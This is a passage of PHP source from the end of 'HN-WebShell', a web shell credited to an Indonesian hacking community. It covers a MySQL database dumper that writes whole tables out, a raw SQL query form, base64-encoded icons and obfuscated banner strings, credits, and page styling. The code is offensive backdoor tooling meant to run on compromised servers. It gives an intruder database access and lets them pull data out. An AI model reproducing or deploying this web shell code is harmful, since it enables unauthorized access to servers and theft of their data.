3052 if ((in_array($tab,$onlytabs)) or (!$c)) {
3053 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
3054 #Receieve query for create table structure
3055 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
3056 if (!$res) {$ret["err"][] = mysql_smarterror();}
3057 else {
3058 $row = mysql_fetch_row($res);
3059 $out .= $row["1"].";\n\n";
3060 #Receieve table variables
3061 $res = mysql_query("SELECT * FROM `$tab`", $sock);
3062 if (mysql_num_rows($res) > 0) {
3063 while ($row = mysql_fetch_assoc($res)) {
3064 $keys = implode("`, `", array_keys($row));
3065 $values = array_values($row);
3066 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
3067 $values = implode("', '", $values);
3068 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
3069 $out .= $sql;
3070 }
3071 }
3072 }
3073 }
3074 }
3075 $out .= "#---------------------------------------------------------------------------------\n\n";
3076 if ($file) {
3077 $fp = fopen($file, "w");
3078 if (!$fp) {$ret["err"][] = 2;}
3079 else {
3080 fwrite ($fp, $out);
3081 fclose ($fp);
3082 }
3083 }
3084 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
3085 return $out;
3086}
3087function mysql_buildwhere($array,$sep=" and",$functs=array()) {
3088 if (!is_array($array)) {$array = array();}
3089 $result = "";
3090 foreach($array as $k=>$v) {
3091 $value = "";
3092 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
3093 $value .= "'".addslashes($v)."'";
3094 if (!empty($functs[$k])) {$value .= ")";}
3095 $result .= "`".$k."` = ".$value.$sep;
3096 }
3097 $result = substr($result,0,strlen($result)-strlen($sep));
3098 return $result;
3099}
3100function mysql_fetch_all($query,$sock) {
3101 if ($sock) {$result = mysql_query($query,$sock);}
3102 else {$result = mysql_query($query);}
3103 $array = array();
3104 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
3105 mysql_free_result($result);
3106 return $array;
3107}
3108function mysql_smarterror($sock) {
3109 if ($sock) { $error = mysql_error($sock); }
3110 else { $error = mysql_error(); }
3111 $error = htmlspecialchars($error);
3112 return $error;
3113}
3114function mysql_query_form() {
3115 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
3116 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
3117 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
3118 if ((!$submit) or ($sql_act)) {
3119 echo "<table><tr><td><form name=\"alecs_sqlquery\" method=\"post\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
3120 if ($tbl_struct) {
3121 echo "<td valign=\"top\"><b>Fields:</b><br>";
3122 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.alecs_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
3123 echo "</td></tr></table>";
3124 }
3125 }
3126 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
3127}
3128function mysql_create_db($db,$sock="") {
3129 $sql = "CREATE DATABASE `".addslashes($db)."`;";
3130 if ($sock) {return mysql_query($sql,$sock);}
3131 else {return mysql_query($sql);}
3132}
3133function mysql_query_parse($query) {
3134 $query = trim($query);
3135 $arr = explode (" ",$query);
3136 $types = array(
3137 "SELECT"=>array(3,1),
3138 "SHOW"=>array(2,1),
3139 "DELETE"=>array(1),
3140 "DROP"=>array(1)
3141 );
3142 $result = array();
3143 $op = strtoupper($arr[0]);
3144 if (is_array($types[$op])) {
3145 $result["propertions"] = $types[$op];
3146 $result["query"] = $query;
3147 if ($types[$op] == 2) {
3148 foreach($arr as $k=>$v) {
3149 if (strtoupper($v) == "LIMIT") {
3150 $result["limit"] = $arr[$k+1];
3151 $result["limit"] = explode(",",$result["limit"]);
3152 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
3153 unset($arr[$k],$arr[$k+1]);
3154 }
3155 }
3156 }
3157 }
3158 else { return FALSE; }
3159}
3160##[ END OF MYSQL FUNCTIONS ]##
3161
3162##[ IMAGES ]##
3163function imagez() {
3164 $images = array(
3165 "home"=>
3166'R0lGODlhEwAYALMJAH6+91OZ97zp/l6x/Y/V/iVr7DGQ/QwxyAEKpP///wAAAAAAAAAAAAAAAAAA'.
3167'AAAAACH5BAHoAwkALAAAAAATABgAAASoMEkJwrwYAyEqyFkQcFwFTuJAkF1xDkExAARdAy4W4EUw'.
3168'zwAALEfhFQy+5AAWmwwLUIN0OhPlBjLocSpdDgzYBLYnjXa/U1fMQD6auWzxMQBmn0XpBJ6OB6fs'.
3169'cXwiPl5LBwgIdGqDhV4FiImBKV5CQQGQPjlgS0GVMJBfRD5BBDU1l4g+BxcGNqYEAQeHBasYBqW4'.
3170'sLK1IAUcK7onFwWlOMIZB0THyxgRADs=',
3171 "buffer"=>
3172'R0lGODlhGAAWALMJABo+qGql77zK4OPw+pXE9Tx33mOCxx5WzYyv4v///wAAAAAAAAAAAAAAAAAA'.
3173'AAAAACH5BAHoAwkALAAAAAAYABYAAASbMMlJa0LFao0QMZslDMJFEEGhhtPgul4gFwebvK9BICnN'.
3174'4oPOACU7HAAb3Gl4mtGQltfSdSI+AdAWVVlNGbHZmxTYVB3BUOCI2vR+AQaQZL1lz74GhEAgn48I'.
3175'bCg0BwV7ewh9AgSGgEM9ASOGe32NiwFMAY0ukgZhU1WaOHxhE0tTQCR9GksIqHyqG4qnQbAsAkK0'.
3176'NhsFiLq+NhEAOw==',
3177 "search"=>
3178'R0lGODlhGAAXAKIEAHl5ecbGxqCgoOvr6////wAAAAAAAAAAACH5BAHoAwQALAAAAAAYABcAAANq'.
3179'SLq88iK02UIM1kY67fgDhj3c4oGiKJRK9mUpycFpHQClHbw8zl2iEOjlo9SEw1DRuNsliaygMwlY'.
3180'di7PgcDKUD2moW1utAVAHtUS9maGmLkOTBiudrJZk3Uaz4gQ6XUYe3wNb4CEiImKCQA7',
3181 "back"=>
3182'R0lGODlhGAAYALMJAC9ILkesPbHdo3W0Zi2IJ+f141aOUTRoM4LKdP///wAAAAAAAAAAAAAAAAAA'.
3183'AAAAACH5BAHoAwkALAAAAAAYABgAAASwMMlJq7046zSM/8YmeYNgFiZiHMdmCEVszoIaXscLpwhC'.
3184'dy2LASETlAoBXw8xCFYMqNQuWesBK4OjkVgYLL8B52h2LCCS2WxgECAAJiteLNarMtduOEE678/P'.
3185'bW8jBzVefigybIEUQz0BMF0EAZOTkm6CEgCNbFOUngR5FAdLazCAlKChomt3ASiolpiMB5OKbJZt'.
3186'oLIVtJ6VuaoXAAepxbq7GcTFAMgbzM/NItLTGxEAOw==',
3187 "forward"=>
3188'R0lGODlhGAAYAKIGAB9fHVu2T7nirIbKdjaXL+z36P///wAAACH5BAHoAwYALAAAAAAYABgAAAOc'.
3189'aLrc/g1ICSsZIosRSGWXUGjaQAAfIY7Z4GIc+qgFy734+Qxsy2+BV8dBGPVeI04wEJAtfiSgSMCs'.
3190'Og2AEu5Wo1Z1iuwGsymvChxCxynG1N7wWocAxmaCGVZcQKezYVVfPCNzJ1cBYzdMF4R9dWEwQkFy'.
3191'hY8KF5KIaI6WYUGKS5ydYReBapxXDgBqpn0UH2Grjq+wDBMTtbm6uwsJADs=',
3192 "up"=>
3193'R0lGODlhGAAXAKIGABxXG0irPrLeo3zFbzWFMOLz3v///wAAACH5BAHoAwYALAAAAAAYABcAAAOP'.
3194'aLrc/jBKMoa4lRCp6C1XOASbNBQgVq1D6XipsAYs+RCoAFZ5QNMEQIOSq+hQO59PyAjoMEckauQL'.
3195'MnBQaS5JYnZ2Tx6INu5ed5bRqUClmhcEEU3srlrhIZlsXSe8OxZ6K1NKJAFecIEshFV/CwBONRiN'.
3196'dy9zFYVKGohDlz92AJw3mSRBohGhqaEcrK2uDgkAOw==',
3197 "help"=>
3198'R0lGODlhGAAYAKIGADlqzKjA6O3x932d3rPk/12Byv///wAAACH5BAHoAwYALAAAAAAYABgAAAOa'.
3199'aLor7ixK8+qb0eqLN/mENVlfYJpDUEkPMaSh474xwbTvsA3AEN8CV6GgEhR6Dh5SEFA8BkeASgmQ'.
3200'Aa4/igMQvXoLjoBXJ3AGu95rMQ0ua8Vpb5HKhWgJ8SsZfbVb8ypwaWRmRoACdHp2Wol5aTINW3Ep'.
3201'fHtAgn1MbByRmnKIXw8FLE9fV0ScEkVhKSYrGAqrG02wEa6stbm6CQA7',
3202
3203 "change"=>
3204'R0lGODlhEAAQALMMADMuME2f58e2ON7OMsXZ88wpTd/t/FhYU4x9erCwrIWSpW54iwAAAAAAAAAA'.
3205'AAAAACH5BAHoAwwALAAAAAAQABAAAARckMlJ6wQn6wMsW0QoBktXLUaaEkHAIYiJqiuhFAUg0yqR'.
3206'IAKdZMYzIAacCbGXEAyEQ0IvlEAeKCCDVJpompRbkUJzEokBi0XZTFgoCFfKwa1Q0NNxCmazz3v+'.
3207'DBEAOw==',
3208 "delete"=>
3209'R0lGODlhEAAQAKIGAJIMJNMHLckjQURDQ2oqNigoKAAAAAAAACH5BAHoAwYALAAAAAAQABAAAANP'.
3210'KDHW/k4JBiuRFI5pilBE8RQX12yBIHYfMGTeNxQoMVfbJ7gZ5AWpV8VBU6SGkVSpR7zwdISKURgz'.
3211'dS4B2yMXMgyAWo2OBGQ6cq+NmbhJAAA7',
3212 "download"=>
3213 "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
3214 "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
3215 "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
3216 "setup"=>
3217 "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
3218 "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
3219 "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
3220 "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
3221 "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
3222 "small_dir"=>
3223'R0lGODlhDwAQALMPAAkJCXV3iEFvz5it4MXV8lFkqXaU2au+6EtMViQkJYGGq2JjcUFhunN3ljc3'.
3224'OQAAACH5BAHoAw8ALAAAAAAPABAAAARuEKDVVEsv64wO+UfjOBO1AM2nHsbQGkaDDCo43EdOVPW9'.
3225'ErmFgjDI6YyHm7AINN5cMESgSH3CBAKGo9GCwgxYrHbx/YbDYwEYfEY7Fu149s2QZxkFRQJRR+Mb'.
3226'AQsOAA98DH8NggCEGgmAiowbGREAOw==',
3227 "small_unk"=>
3228'R0lGODlhEAAQAKIHABpFnoap3bTL89vq/FuCvVZlhH6Ms////yH5BAHoAwcALAAAAAAQABAAAANL'.
3229'eBfcrVCFQetgJS5bA/nRxFlGJlUFoBICZUDi6gGsYG5DWqntLZI8G4xDCApPHeMR5wL8lgbSE9rq'.
3230'OavUqurngTm+ntuhQC6byYcEADs=',
3231 "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
3232 "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
3233 "sort_asc"=>
3234 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
3235 "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
3236 "sort_desc"=>
3237 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
3238 "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
3239 "ext_asp"=>
3240 "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
3241 "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
3242 "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
3243 "ext_mp3"=>
3244'R0lGODlhEAARALMPADE8XE6ekMSuNMDW7M1IRGRoZOXs9Ki31Y2HW3PEiFl2u19RX4ajzNmCeuew'.
3245'pwAAACH5BAHoAw8ALAAAAAAQABEAAASI8D1Gqy0yM8O7GRSmeR2oKOJEcgN4oJJyNExSD197iAjS'.
3246'OI2EkIFrYQqN3+cgRBA/iwLhh+MwE4HDYLeYGg4MLTNQCBi7joECcKKQC9tCV7tmhwoALV5BPMnA'.
3247'PXk7BSc5LA4CCAUHXCcHHogChIwYbG2RkgVhOxKWCggCkgCafCkAp6inBaurEQA7',
3248 "ext_avi"=>
3249'R0lGODlhEAAQALMMAAUFBY2OkM7T2UpKSqWoq+zz/GhoaSQkJLW4u1paWnp6ejY3NwAAAAAAAAAA'.
3250'AAAAACH5BAHoAwwALAAAAAAQABAAAARdkMkpgVGH6poIwttkeQUBbqNQrGZGjYG6lobLWAoixHOw'.
3251'GByDbpUrAQ6K2+AoW/0OyOMy4GtioozBgsAaqBDa08AwoxHCgMmPRzSM05R17x2SBxKn+uUCD0nW'.
3252'fRoRADs=',
3253 "ext_cgi"=>
3254'R0lGODlhEAAQAKIHAEhJS+q8D/7dNfnulpR/U5pqCtS5eP///yH5BAHoAwcALAAAAAAQABAAAANT'.
3255'eLpX/K9ISItwlElBcG5BMEFSGYolVgzsYAih0Q5FF7IwjAcdcRCE021wKQB8CqCQRQAcH4SXYOck'.
3256'EQUy2DMSMmaBEWITSBAjFZLxAliDghlkRQIAOw==',
3257 "ext_cmd"=>
3258 "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
3259 "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
3260 "dmrYAMn1onq/YKpjvEgAADs=",
3261 "ext_cpp"=>
3262 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
3263 "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
3264 "Eq7YrLDE7a4SADs=",
3265 "ext_ini"=>
3266 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
3267 "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
3268 "SnEjgPVarHEHgrB43JvszsQEADs=",
3269 "ext_diz"=>
3270'R0lGODlhEAAQAKIHAAsZcWyPv7vT6eb0/ThOi1tukZyyy////yH5BAHoAwcALAAAAAAQABAAAANS'.
3271'eHrTLiu6IYh5chZAJlRTI4RDcIyacXkF6gAcWaxPLFJzaNhoZYyoXQcoCMwErgCHuFP8kEVjAGkg'.
3272'FBaqJ9CgvEYOBQK06/0qjlazuSBVr8uLBAA7',
3273 "ext_doc"=>
3274 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
3275 "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
3276 "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
3277 "ext_exe"=>
3278 "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
3279 "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
3280 "xhIAOw==",
3281 "ext_h"=>
3282 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
3283 "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
3284 "Wq/NknbbSgAAOw==",
3285 "ext_hpp"=>
3286 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
3287 "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
3288 "UqUagnbLdZa+YFcCADs=",
3289 "ext_htaccess"=>
3290 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
3291 "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
3292 "AAA7",
3293 "ext_html"=>
3294'R0lGODlhEAAQALMOAIyt016Itv///2Gp4uXy/c3P/MXl/mtrnC6Z4mfd/Chgk7PO9lBVhnNzc///'.
3295'/wAAACH5BAHoAw4ALAAAAAAQABAAAASF0EkHqq1h6nuzloAgjkIwfJRIFJVxFMgHDGYQCMihe46d'.
3296'/IiBIEEQFA4SkwHBZAaKK2RPAFAACM0nwTUFMAeD5mFBWCCpTIV6rSCbKQkFQpEw2A1lw4LRa84X'.
3297'cn96fAg4gQgJAwwAensOAyFzCgyTAAsFgxKQAywVBZcGn3wTDKWlDaamEQA7',
3298 "ext_jpg"=>
3299'R0lGODlhDgAQALMMACYlIC6NFLOxKnqIcbPIikWoIkVFRWllROLZUmO8NqKmoBBxCAAAAAAAAAAA'.
3300'AAAAACH5BAHoAwwALAAAAAAOABAAAARbMKxJ6zw2iGQHFSACCpQ3CWJISmaBCsABcouJiECOIkVg'.
3301'7gadiBXoAXc9X/LGRBASvUEPmiA4qUXpFPpMZrHQojchJZjDVOpgoGib3+82W8Gu0+nrGD2Y4wcN'.
3302'EQA7',
3303 "ext_js"=>
3304'R0lGODlhDwAQAKIEAB4eHZ6eaOLih2BgWQAAAAAAAAAAAAAAACH5BAHoAwQALAAAAAAPABAAAANP'.
3305'SAoR8nAARcZ4rQkr68VCI1nTB4Vj0H1iALzwpIUY3FXOKb4UwYSqDODmY+ROREtmkEFNhqKRyfV7'.
3306'SFzHEQR62qSAnBxJoVSlxhRJLEZJAAA7',
3307 "ext_lnk"=>
3308'R0lGODlhEAAQAKIHAAAFACOPE2TNNj60IQRKAojuVgdlBAAAACH5BAHoAwcALAAAAAAQABAAAANO'.
3309'eGfcbkCpQOu4AkZlLM5AKHlCqW3TVw4hmqqlKB3UKhQF6AZ2ibM7Ew+Xk6UIoQAROAsgQ4RbIWBc'.
3310'tBbSq0RruD1dB1S3BZ5ZteYZ2ZwAADs=',
3311 "ext_log"=>
3312 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
3313 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
3314 "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
3315 "ext_php"=>
3316'R0lGODlhEAAQAIABAP///////yH5BAHoAwEALAAAAAAQABAAAAIohI8Jwe0Po5wNsRWWxbl3blSe'.
3317'VmHmMWZouj2md7kxB8cfhec6pPRHAQA7',
3318 "ext_pl"=>
3319 "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
3320 "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
3321 "ext_swf"=>
3322 "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
3323 "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
3324 "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
3325 "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
3326 "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
3327 "ext_tar"=>
3328'R0lGODlhEAAQAKIFABokHymwoKiYkKIYbdzo4wAAAAAAAAAAACH5BAHoAwUALAAAAAAQABAAAAM4'.
3329'CLrcJVCMSesAJJOhY7waAUgWhWljo67rE7FMGGhzYNtnNt48HsJAlgsSzIlovYAxlfShBMVoIQEA'.
3330'Ow==',
3331 "ext_txt"=>
3332'R0lGODlhCwAQAKIFACoqKqCeoO/z83d2brO2vwAAAAAAAAAAACH5BAHoAwUALAAAAAALABAAAAM5'.
3333'CLM8MSBIJwNZJAhNRBdDR3xCCYqkGXppuZrwuVWj21mVJo+jZG812Cv288VWD+KQtQA4m4CCdJoA'.
3334'ADs=',
3335 "ext_wri"=>
3336 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
3337 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
3338 "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
3339 "ext_xml"=>
3340 "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
3341 "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3342 "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
3343 "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
3344 "IQA7"
3345 );
3346 return $images;
3347}
3348function sh_name() { return base64_decode("LT09PVsgSE4tQ29tbXVuaXR5IFdlYlNoZWxsIF09PT0t"); }
3349function sh_shell() { return base64_decode("LS0gSW5kb25lc2lhbiBIYWNrZXIgTmV3YmllIENvbW11bml0eSAtLQ=="); }
3350function sh_comm() { return base64_decode("VmlzaXQgYW5kIEpvaW4gd2l0aCB1cyBhdCBodHRwOi8vaGFja2VyLW5ld2JpZS5vcmcv"); }
3351function alecs_tools() {
3352 bar_header(".: TooLz :.");
3353}
3354function alecs_about() {
3355 bar_header(".: Credits :.");
3356 echo "<br>Idea, leader & coder: <b>--==[HACKER-NEWBIE.ORG]==--</b><br>".
3357 "Beta-tester & tips: <b>All member Hacker Newbie Community</b><br>".
3358 "Re-coder, Designer, Windows Fix, PHP Mailer & PHP Filesystem<br><br>".
3359 "[Special Thank's]<br>".
3360 "<b>--==|gt_Portnoy|N4is3n|Array|Alecs|Samu1241|Riphack|ClassicRose|==--</b><br><br>".
3361 "Please report bugs to <a href=\"mailto:alecs@indonesiancoder.com\">alecs@indonesiancoder.com</a></b>\n";
3362}
3363function html_style() {
3364$style = '<html>
3365<head>
3366 <style>
3367 table {width: 100%;border-collapse: collapse;}
3368 #main, #maininfo {width: 900px;}
3369 body, table, input, select, option, .info
3370 {
3371 font: 8pt tahoma;
3372 }
3373 .footer {font: 8pt tahoma;}
3374 textarea, .code
3375 {
3376 font: 8pt Courier New;
3377 color: #dedbde;
3378 border: 1px solid #666666;
3379 }
3380 img {border: 0;}
3381 #maininfo img {width: 16;height: 16;}
3382 input, select, option {border: 1px solid #606060;}
3383 #maininfo, td, th {border: 1px solid #3F3F3F;}
3384 a {color: #5B5BFF;text-decoration: none;}
3385 #pagebar a, .barheader a {color: #00FF00;}
3386 a:hover, #pagebar a:hover {color: #3366FF;}
3387 .on {color: #00FF00;}
3388 .off, .errmsg {color: #FF0000;}
3389 body, table, input, select, option {color : #EEEEEE;}
3390 .info th {color: #969696;width: 13%;}
3391 .shell {font-size: 12;color: #C0C0C0;border: 0;}
3392 #pagebar a, .barheader, .errmsg, .on, .off
3393 {
3394 font-weight: bold;
3395 }
3396 p, form, .info, .info td, .info th, .explorer *
3397 {
3398 margin: 0;
3399 }
3400 input, #maininfo {margin: 3px;}
3401 #mainpanel input, #mainpanel select
3402 {
3403 margin: 0px 2px 0px 2px;
3404 }
3405 #maininfo table, select {margin: 2px 0px 2px 0px;}
3406 #pagebar, .bartitle, #mainpanel {background: #474747;}
3407 body, textarea, .shell, input, select, option
3408 {
3409 background: #000000;
3410 }
3411 .info, .info th, .info td, input[type="label"]
3412 {
3413 background: transparent;
3414 border: 0;
3415 }
3416 #pagebar td, #mainpanel td, #mainpanel th, .contents th, .explorer td
3417 {
3418 border-left: 0;
3419 border-right: 0;
3420 }
3421 .bartitle, .barheader, input[type="submit"], input[type="button"], input[type="reset"]
3422 {
3423 color: #D0D0D0;
3424 background: #3F3F3F;
3425 border: 1px solid #202020;
3426 border-top: 1px solid #505050;
3427 border-left: 1px solid #505050;
3428 }
3429 input[type="submit"]:hover, input[type="button"]:hover, input[type="reset"]:hover
3430 {
3431 color: #00FF00;
3432 background: #333333;
3433 }
3434 td, .info th {vertical-align: top;}
3435 .explorer td {vertical-align: middle;}
3436 .fleft {float: left;}
3437 .fright {float: right;}
3438 .code, .fleft, .info th {text-align: left;}
3439 .fright, input[type="label"], #mainpanel th, .contents th
3440 {
3441 text-align: right;
3442 }
3443 #maininfo, .bartitle, .quicklaunch, .quicklaunch a, .barheader, th
3444 {
3445 text-align: center;
3446 }
3447 td, textarea, input[type="text"], .bartitle, .barheader, .code, th
3448 {
3449 padding: 3px;
3450 }
3451 .info th, .info td {padding: 0px 2px 0px 2px;}
3452 .quicklaunch a {padding : 0px 5px 0px 5px;}
3453 </style>
3454
3455 <title>HN-WebShell - '.getenv("HTTP_HOST").'</title>
3456 <link rel="shortcut icon" href="http://hacker-newbie.org/favicon.ico">
3457
3458</head>
3459
3460<body><center>
3461';
3462return $style;
3463};
3464function html_header() { return "<b><font size=5pt>".sh_name()."</font><br><font color='#000000'>".sh_shell()."</font><br>".sh_comm()."</b>"; }
3465function html_footer() { return "HN-WebShell © 2009 r3c0ded By Alecs. Contact me at alecs@indonesiancoder.com. Generated: ".round(getmicrotime()-starttime,4)." seconds"; }
3466function disp_error($msg) { echo "<div class=errmsg>$msg</div>\n"; }
3467function srv_info($title,$contents) { echo "\t\t\t<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n"; }
3468function srv_software($surl) {
3469 $srv_software = getenv("SERVER_SOFTWARE");
3470 if (!ereg("PHP/".phpversion(),$srv_software)) { $srv_software .= ". PHP/".phpversion(); }
3471 return str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\">PHP/".phpversion()."</a>",htmlspecialchars($srv_software));
3472}
3473function bar_header($str) { echo '<div class="barheader">'.$str.'</div'."\n"; }
3474
3475########################
3476##[ END OF FUNCTIONS ]##
3477########################
3478chdir($lastdir); alecsexit();